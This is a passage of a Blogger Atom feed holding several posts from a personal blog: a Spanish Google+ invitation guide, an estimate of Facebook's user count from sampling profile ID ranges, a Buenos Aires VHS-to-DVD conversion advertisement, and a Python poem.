/&gt;&lt;/a&gt;&lt;/li&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Hacen doble click sobre la nueva persona. Les debería aparecer la opción de &lt;i&gt;Invite people to join you on Google+.&lt;/i&gt; Le debería llegar a esa persona un e-mail como el que sigue, por lo menos funciona si la otra persona usa Gmail, con otro tipo de cuenta no probé. Debería esta hacer click en el mismo para entrar a la página de ingreso a Google+ y aceptar unirse al producto.&lt;/div&gt;&lt;a href="http://4.bp.blogspot.com/-h-WdbZAz0Fo/Th8xhyK3SzI/AAAAAAAAAb8/fz1gICkbIN4/s1600/join3.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img src="http://4.bp.blogspot.com/-h-WdbZAz0Fo/Th8xhyK3SzI/AAAAAAAAAb8/fz1gICkbIN4/s400/join3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5629272515709193010" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 86px; " /&gt;&lt;/a&gt;&lt;/li&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Si la opción de hacer doble click no funciona o no tiene mas invitación entonces lo que pueden hacer es agregarla a un círculo y luego yendo a su propio muro (&lt;i&gt;Home&lt;/i&gt;) y mandando un mensaje para ese círculo marcando la opción de enviar e-mail a los que no usan Google+. Es decir, hacer tick donde dice &lt;i&gt;Also email 1 persons not yet using Google+&lt;/i&gt;.&lt;/div&gt;&lt;a href="http://3.bp.blogspot.com/-ZeaNa3O1Jcc/Th8v2Iqt4VI/AAAAAAAAAb0/TNkBV9opwgI/s1600/home3.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img src="http://3.bp.blogspot.com/-ZeaNa3O1Jcc/Th8v2Iqt4VI/AAAAAAAAAb0/TNkBV9opwgI/s400/home3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5629270666322501970" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 205px; " /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Finalmente le debería llegar a la persona que mensajearon un e-mail como el que mostramos y debería hacer click en el mismo para entrar a la página de ingreso a Google+ y aceptar unirse al producto, que esta en modo beta o de prueba actualmente. &lt;/div&gt;&lt;a href="http://3.bp.blogspot.com/-IPh9PNZSmuQ/Th8yaCclRaI/AAAAAAAAAcE/CyWP8f3v5mQ/s1600/join5.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img src="http://3.bp.blogspot.com/-IPh9PNZSmuQ/Th8yaCclRaI/AAAAAAAAAcE/CyWP8f3v5mQ/s400/join5.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5629273482151151010" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 97px; " /&gt;&lt;/a&gt;&lt;/li&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-1415342248155576082?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/1415342248155576082/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/07/como-invitar-contactos-google-mandar.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1415342248155576082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1415342248155576082'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/07/como-invitar-contactos-google-mandar.html' title='Como invitar contactos a Google+ (mandar invitaciones)'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-ikrUBC6BLzE/Th8uBn-7-dI/AAAAAAAAAbk/wYayre15rZw/s72-c/alice.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-6098541438913586852</id><published>2011-05-17T12:33:00.000-07:00</published><updated>2011-05-17T13:51:57.704-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='number'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='estimation'/><category scheme='http://www.blogger.com/atom/ns#' term='size'/><category scheme='http://www.blogger.com/atom/ns#' term='estimate'/><title type='text'>Estimating Facebook Number of Users with Binary Search</title><content type='html'>I get tired of marketing people saying "Facebook has 500 million users", "FB has 1 billion users". So I made I little experiment on the estimation of Facebook exact number of users. The results was &lt;span style="font-weight: bold;"&gt;1,051,785,857 users!&lt;/span&gt; That is a little over 1 Billion users! The result is not surprising if you read that Facebook founder &lt;a href="http://www.guardian.co.uk/media/2010/jun/23/mark-zuckerberg-facebook-cannes-lions"&gt;said one year ago&lt;/a&gt; that the wanted to reach that number and they receive about 700 thousand new users per day.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Now I detail the details, further work can be done by anyone to make the estimation accurate on any time.&lt;br /&gt;&lt;br /&gt;Facebook users are identified by a USERID like 1340269186 or 100011808654570. Apparently the are two possibilities for users ids: &lt;/div&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;The id is not available, for example user id &lt;a href="http://www.facebook.com/profile.php?id=666666"&gt;666666&lt;/a&gt;. In spanish, this is the result&lt;a href="http://3.bp.blogspot.com/-H7qOVMnv3QA/TdLR4MFyx9I/AAAAAAAAAYM/eA_si7HN_KM/s1600/nod.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 30px;" src="http://3.bp.blogspot.com/-H7qOVMnv3QA/TdLR4MFyx9I/AAAAAAAAAYM/eA_si7HN_KM/s400/nod.png" alt="" id="BLOGGER_PHOTO_ID_5607775249278093266" border="0" /&gt;&lt;/a&gt;So the range of available ids can be tracked manually or with a script using &lt;a href="http://en.wikipedia.org/wiki/Binary_search_algorithm"&gt;binary search.&lt;/a&gt; These are the results excepting for some Facebook employees that have ids below 10000. Ranges: [500090001..1777798795] + [100000000000004..100002390891367]. Longer user ids starting with 10000 are the newer ones after reaching 1777798795 (you have to update this number to make the estimation dynamic).   If Facebook includes 700 thousand new user per day we expect this number to increase accordingly. The number of aprox. available ids is 3,668,600,157.&lt;/li&gt;&lt;li&gt;Now not all user ids are in-use. Some ids belong in the past to users who closed their accounts. I suspect also that Facebook leaves available id unused for &lt;span style="font-style: italic;"&gt;internal debugging &lt;/span&gt;and administrative processes. In either case the distribution of used ids inside the ranges we described in 1) is &lt;span style="font-style: italic;"&gt;apparently&lt;/span&gt; random. So we have to estimate the distribution density &lt;span style="font-style: italic;"&gt;assuming a uniform distribution&lt;/span&gt; of used ids. This is how unused id look like, like id  (spanish locale) &lt;a href="http://es-la.facebook.com/profile.php?id=1340269187"&gt;1340269187&lt;/a&gt;  &lt;a href="http://3.bp.blogspot.com/-vBUM7eKi140/TdLVK6tzkpI/AAAAAAAAAYU/v18FohOEam8/s1600/uu.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 102px;" src="http://3.bp.blogspot.com/-vBUM7eKi140/TdLVK6tzkpI/AAAAAAAAAYU/v18FohOEam8/s400/uu.png" alt="" id="BLOGGER_PHOTO_ID_5607778869566476946" border="0" /&gt;&lt;/a&gt;The density was 0.286700 used ids per each unused id. The &lt;a href="http://www.assembla.com/code/miscenaleas/subversion/nodes/facebooksize"&gt;script uses 1000 samples&lt;/a&gt; but you can test a bigger batch if you are not confident of the results.&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-weight: bold;"&gt;Update!:&lt;/span&gt; I found this paper published this year...&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="b w xsm"&gt;[PDF] &lt;/span&gt;&lt;a href="http://www.www2011india.com/proceeding/proceedings/p597.pdf" class="l"&gt;&lt;em&gt;Estimating&lt;/em&gt; Sizes of Social Networks via Biased Sampling&lt;/a&gt;&lt;span class="tl"&gt;&lt;button class="vspib"&gt;&lt;/button&gt;&lt;/span&gt;&lt;span class="f"&gt;File Format:&lt;/span&gt; PDF/Adobe Acrobat - &lt;a href="http://docs.google.com/viewer?a=v&amp;amp;q=cache:pOR23J9OABsJ:www.www2011india.com/proceeding/proceedings/p597.pdf+estimation+facebook+number+of+users&amp;amp;hl=en&amp;amp;pid=bl&amp;amp;srcid=ADGEESjR8nePNE2wkt_JDAUnB4za2KFpuIQoX504H4r7kyxv-XTbOBo2hdis4I0kC_Ugc5ebMmYdgaFrKTWHJdbgUGbG8f613b0SbKVYSv7NLY3wRzfXwDVKfUZGUVqw23EZyZV9ASb7&amp;amp;sig=AHIEtbSZlWOoYpDu2K2EF7Jsw4RzJU_zkQ" class="fl"&gt;Quick View&lt;/a&gt;&lt;br /&gt;&lt;span class="f"&gt;by L Katzir&lt;/span&gt; - &lt;a class="fl" href="http://scholar.google.com/scholar?hl=en&amp;amp;lr=&amp;amp;cites=1339107585169006736&amp;amp;um=1&amp;amp;ie=UTF-8&amp;amp;ei=797STae9KYfeiAKB8qDkCg&amp;amp;sa=X&amp;amp;oi=science_links&amp;amp;ct=sl-citedby&amp;amp;resnum=9&amp;amp;ved=0CFgQzgIwCA"&gt;Cited by 1&lt;/a&gt; - &lt;a class="fl" href="http://scholar.google.com/scholar?hl=en&amp;amp;lr=&amp;amp;q=related:kKAH-kB3lRIJ:scholar.google.com/&amp;amp;um=1&amp;amp;ie=UTF-8&amp;amp;ei=797STae9KYfeiAKB8qDkCg&amp;amp;sa=X&amp;amp;oi=science_links&amp;amp;ct=sl-related&amp;amp;resnum=9&amp;amp;ved=0CFkQzwIwCA"&gt;Related articles &lt;/a&gt;1 Apr 2011 &lt;b&gt;...&lt;/b&gt; years and their &lt;em&gt;number of users&lt;/em&gt; is already measured in many &lt;b&gt;......&lt;/b&gt; 1, 000, 000 &lt;em&gt;Facebook users&lt;/em&gt; and tried to &lt;em&gt;estimate&lt;/em&gt; the size of &lt;b&gt;...&lt;/b&gt; &lt;a href="http://www.www2011india.com/proceeding/proceedings/p597.pdf"&gt;&lt;span class="f"&gt;&lt;cite&gt;www.www2011india.com/proceeding/proceedings/p597.pdf&lt;/cite&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-6098541438913586852?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/6098541438913586852/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/05/estimating-facebook-number-of-users.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6098541438913586852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6098541438913586852'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/05/estimating-facebook-number-of-users.html' title='Estimating Facebook Number of Users with Binary Search'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-H7qOVMnv3QA/TdLR4MFyx9I/AAAAAAAAAYM/eA_si7HN_KM/s72-c/nod.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-3755105332176780618</id><published>2011-04-11T10:38:00.000-07:00</published><updated>2011-12-10T09:46:40.026-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='convertir'/><category scheme='http://www.blogger.com/atom/ns#' term='pasar'/><category scheme='http://www.blogger.com/atom/ns#' term='recuerdos'/><category scheme='http://www.blogger.com/atom/ns#' term='vhsadvd'/><category scheme='http://www.blogger.com/atom/ns#' term='dvd'/><category scheme='http://www.blogger.com/atom/ns#' term='vhs'/><category scheme='http://www.blogger.com/atom/ns#' term='youtube'/><category scheme='http://www.blogger.com/atom/ns#' term='memoria'/><title type='text'>¡Convertí tus VHS a DVD o PC en Buenos Aires!</title><content type='html'>&lt;a href="http://1.bp.blogspot.com/-57mdtpTw_oM/TeZaxpNi0YI/AAAAAAAAAYc/TOwUzloWbMM/s1600/fotograma.png"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;La imaginación está autorizada para soñar.&lt;br /&gt;A la memoria se le exhorta a ser verdadera.&lt;br /&gt;-- Paul Ricoeur&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a href="http://ibankcoin.com/gioblog/files/2011/01/vhs.jpg"&gt;&lt;img alt="" border="0" src="http://ibankcoin.com/gioblog/files/2011/01/vhs.jpg" style="cursor: pointer; display: block; height: 343px; margin: 0px auto 10px; text-align: center; width: 425px;" /&gt;&lt;/a&gt;&lt;span style="color: red;"&gt;Aviso: &lt;span style="color: black;"&gt;la &lt;/span&gt;&lt;/span&gt;calidad de la imagen en los cassettes VHS se degenera en pocos años y eventualmente la cinta, fabricada con un derivado del petróleo, se empieza a desintegrar liberando una sustancia aceitosa y oscura. La única forma de garantizar el almacenamiento de la información en el tiempo es en formatos digitales como DVD o WMV, y haciendo copias periódicas  para anticipar cualquier contingencia.&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PRECIO :&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size: 100%;"&gt;&lt;span style="font-weight: bold;"&gt;$50 por cassette VHS. (Actualizado 10/12/2011)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 100%;"&gt;&lt;span style="font-weight: bold;"&gt;$30 por cassette de audio. (Actualizado 10/12/2011)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;PRODUCTO: se entregan 1 &amp;nbsp;DVDs por cassette VHS a convertir. 1  (un) CD en el caso de audio&lt;/span&gt;&lt;br /&gt;&lt;ul style="font-weight: bold;"&gt;&lt;li&gt;1 DVD con video en formato AVI para ver en PCs y reproductores de DVD compatibles con AVI. El formato WMV se puede subir a YouTube.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;strong&gt;&lt;br /&gt;Consultas y Pedidos Correo electrónico y MSN Windows Live Messenger:&lt;/strong&gt;&lt;a href="http://1.bp.blogspot.com/-57mdtpTw_oM/TeZaxpNi0YI/AAAAAAAAAYc/TOwUzloWbMM/s1600/fotograma.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5613273794486653314" src="http://1.bp.blogspot.com/-57mdtpTw_oM/TeZaxpNi0YI/AAAAAAAAAYc/TOwUzloWbMM/s400/fotograma.png" style="cursor: pointer; display: block; height: 51px; margin: 0px auto 10px; text-align: center; width: 340px;" /&gt;&lt;/a&gt;Ubicación para iniciar y retirar pedidos confirmados en la Ciudad de Buenos Aires:  &lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; &lt;br /&gt;&lt;ul style="font-weight: bold;"&gt;&lt;li&gt;Monroe 1500&lt;strong&gt; (entre calles Libertador y Montañeses)&lt;/strong&gt;. Barrio de Belgrano.&lt;/li&gt;&lt;li&gt;25 de Mayo 400 (entre Corrientes y Lavalle). Barrio de San Nícolas (Microcentro!)&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Delivery:&lt;/span&gt; si se encargan 5 o más cassettes VHS se incluye el &lt;span style="font-style: italic;"&gt;delivery&lt;/span&gt; dentro de Capital Federal &lt;span style="font-style: italic;"&gt;sin cargo&lt;/span&gt; para las zonas de Nuñez, Belgrano, Colegiales, Palermo, Recoleta y Microcentro.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.vidcam.com.au/copy/vhs-dvd.jpg"&gt;&lt;img alt="" border="0" src="http://www.vidcam.com.au/copy/vhs-dvd.jpg" style="cursor: pointer; display: block; height: 309px; margin: 0px auto 10px; text-align: center; width: 265px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-3755105332176780618?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/3755105332176780618/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/04/converti-tus-vhs-dvd-o-pc.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3755105332176780618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3755105332176780618'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/04/converti-tus-vhs-dvd-o-pc.html' title='¡Convertí tus VHS a DVD o PC en Buenos Aires!'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-57mdtpTw_oM/TeZaxpNi0YI/AAAAAAAAAYc/TOwUzloWbMM/s72-c/fotograma.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-3435679172613307598</id><published>2011-04-06T10:44:00.000-07:00</published><updated>2011-04-06T11:41:30.453-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='poem'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='language'/><title type='text'>My First Poem Written in Python Code</title><content type='html'>&lt;pre style="color: rgb(0, 0, 0); background: none repeat scroll 0% 0% rgb(255, 255, 255);"&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;#!/usr/bin/python&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;# -*- coding: iso-8859-15 -*-&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;######   Poem in Python   #######&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;#################################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;#              by               #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;#     José Ignacio Orlicki      #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;#     therm000@gmail.com        #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;# 6th of April, 2011 - 02:49 PM #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;#################################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;# Compiling and printing nice poem &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;# Python 2.6.5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;your_own_money &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'energy'&lt;/span&gt;&lt;br /&gt;your_voice &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'thunder'&lt;/span&gt;&lt;br /&gt;life &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'unborn alphabet of desires'&lt;/span&gt;&lt;br /&gt;pain &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'unborn'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;def&lt;/span&gt; dreaming&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;state&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; but&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;try&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;yield&lt;/span&gt; your_voice&lt;br /&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;except&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;for&lt;/span&gt; coins &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;in&lt;/span&gt; your_pocket&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;         &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; your_own_money &lt;br /&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;finally&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;     with your_eyes as food&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;         &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;__doc__&lt;/span&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;and&lt;/span&gt; poetry     &lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;pass&lt;/span&gt;&lt;br /&gt; gestures &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'change'&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;for&lt;/span&gt; people &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;in&lt;/span&gt; the_street&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(227, 74, 220);"&gt;lambda&lt;/span&gt; signs&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt; signs &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;and&lt;/span&gt; gestures&lt;br /&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;exit&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;while&lt;/span&gt; life&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;startswith&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; pain &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;False&lt;/span&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;or&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;None&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;continue&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;None&lt;/span&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;or&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;__name__&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;' '&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;+&lt;/span&gt;your_voice&lt;br /&gt; life &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; life&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;replace&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;'desires'&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;'desire'&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;replace&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;' alphabet of'&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;''&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt; life &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; life&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;replace&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;'un'&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;''&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt; dreaming&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;None&lt;/span&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;or&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;True&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;False&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt; pain &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;is&lt;/span&gt; &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;not&lt;/span&gt; your_voice&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; life&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_MlS6fGz-GNE/S7avHTu7RDI/AAAAAAAAAQA/rHA2aK3bi7E/s1600/python-logo-master-v3-TM-flattened.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 353px; height: 119px;" src="http://1.bp.blogspot.com/_MlS6fGz-GNE/S7avHTu7RDI/AAAAAAAAAQA/rHA2aK3bi7E/s1600/python-logo-master-v3-TM-flattened.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-3435679172613307598?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 